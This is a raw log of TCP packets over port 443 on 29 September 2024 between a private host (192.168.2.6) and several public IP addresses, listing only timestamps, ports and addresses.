Sep 29, 2024 15:46:03.995012999 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.995610952 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.995635986 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.995970964 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.996494055 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.996561050 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.996736050 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.039397955 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.041167974 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.155669928 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155725002 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155761003 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155798912 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155801058 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.155824900 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155858040 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.155862093 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.156285048 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.156287909 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.156296015 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.156362057 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.156363964 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.156373024 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.156584024 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.161112070 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.161165953 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.161825895 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.161844969 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.213128090 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.216995001 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.245620966 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.250266075 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.250350952 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.250376940 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.250427008 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.250427008 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.250446081 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.254997969 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.255074024 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.255091906 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.255100012 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.255112886 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.255402088 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.258946896 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.259690046 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.259767056 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.259788990 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.259829044 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.259829044 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.259841919 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.264735937 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.264765024 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.264789104 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.264842987 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.264842987 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.264857054 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.269304991 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.269500971 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.269525051 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.269545078 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.269560099 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.269851923 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.274209976 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.274245977 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.274292946 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.274306059 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.275017023 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.292932987 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.292973995 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.293098927 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:04.293119907 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.297568083 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.297600031 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.297624111 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.297713995 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:04.297725916 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:04.297725916 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:04.297774076 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:04.353333950 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.353568077 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.353679895 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.353698969 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.358620882 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.358722925 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.358731031 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.364204884 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.364284992 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.364314079 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.364372015 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.364698887 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.364749908 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369107008 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369153976 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369184017 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369184971 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369195938 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369230986 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369249105 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369249105 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369260073 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369273901 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369273901 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369307041 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369329929 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369337082 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369349003 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369365931 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369388103 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369401932 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369409084 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369429111 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369456053 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369513988 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369525909 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369534969 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369548082 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369550943 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369582891 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369592905 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.369599104 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.369632959 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.414671898 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.451581001 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.452266932 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.452303886 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.452851057 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.452981949 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.453039885 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.453074932 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.453119040 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.453139067 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.453181028 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.453191042 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.453212023 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.453228951 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.453260899 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.458884001 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.459017038 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.459244967 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.459261894 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.460185051 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.503411055 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.572393894 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.572480917 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.572540998 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.797837973 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:04.797873020 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:04.798547983 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:04.798574924 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:05.078774929 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.078819036 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.078879118 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.079210043 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.079273939 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.079327106 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.079572916 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.079587936 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.079802990 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.079814911 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.142421007 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.142453909 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.142529964 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.142880917 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.142894030 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.632236004 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.632535934 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.632561922 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.632930994 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.633307934 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.633397102 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.634427071 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.634541988 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.634671926 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.634697914 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.635256052 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.635684013 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.635781050 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.635802984 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.675404072 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.682835102 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.682884932 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.815129995 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.815570116 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.815592051 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.816078901 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.816833019 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.816920996 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.817047119 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.817107916 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.817135096 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.820401907 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.820513010 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.820568085 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.821480036 CEST	49749	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.821506023 CEST	443	49749	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.823636055 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.823690891 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.823735952 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.823771954 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.823788881 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.823851109 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.823955059 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.824265957 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.824296951 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.824348927 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.824357033 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.824419975 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.824655056 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.828735113 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.828794956 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.828803062 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.828870058 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.829113007 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.829121113 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.871963978 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.919863939 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920001984 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920063019 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920064926 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.920084953 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920150995 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.920159101 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920247078 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920312881 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920325041 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.920331955 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920378923 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.920384884 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920901060 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920955896 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.920959949 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.920984030 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921070099 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.921473026 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921669006 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921726942 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.921730995 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921751022 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921807051 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.921833038 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921940088 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.921998024 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.922048092 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.922055006 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.922096014 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.922665119 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.922775030 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.922831059 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.922836065 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.922849894 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:05.923005104 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:05.985477924 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985534906 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985569954 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985604048 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985630989 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.985636950 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985656023 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985678911 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.985724926 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.985790014 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.985801935 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.986069918 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.986083984 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.991060972 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.991100073 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.991132021 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:05.991228104 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.991228104 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:05.991246939 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.006429911 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006535053 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006592035 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006640911 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006649017 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.006668091 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006685972 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.006700993 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.006851912 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.006858110 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007066965 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.007184029 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007235050 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.007244110 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007291079 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.007312059 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007411003 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.007416964 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007436991 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.007474899 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.007474899 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.008239031 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.008296967 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.008299112 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.008312941 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.008344889 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.008399963 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.009023905 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.009084940 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.009139061 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.009215117 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.009227037 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.009345055 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.009893894 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.009977102 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.010004044 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.010059118 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.039199114 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.047589064 CEST	443	49748	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:06.047688007 CEST	49748	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:06.077857018 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.077936888 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.077970982 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.077987909 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.078006983 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078069925 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078105927 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078111887 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.078120947 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078171968 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078208923 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078231096 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.078231096 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.078249931 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078310966 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.078315973 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078924894 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.078972101 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079003096 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079025030 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.079032898 CEST	443	49750	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:06.079056978 CEST	49750	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:06.079670906 CEST	443	49750	104.18.94.41	192.168.2.6
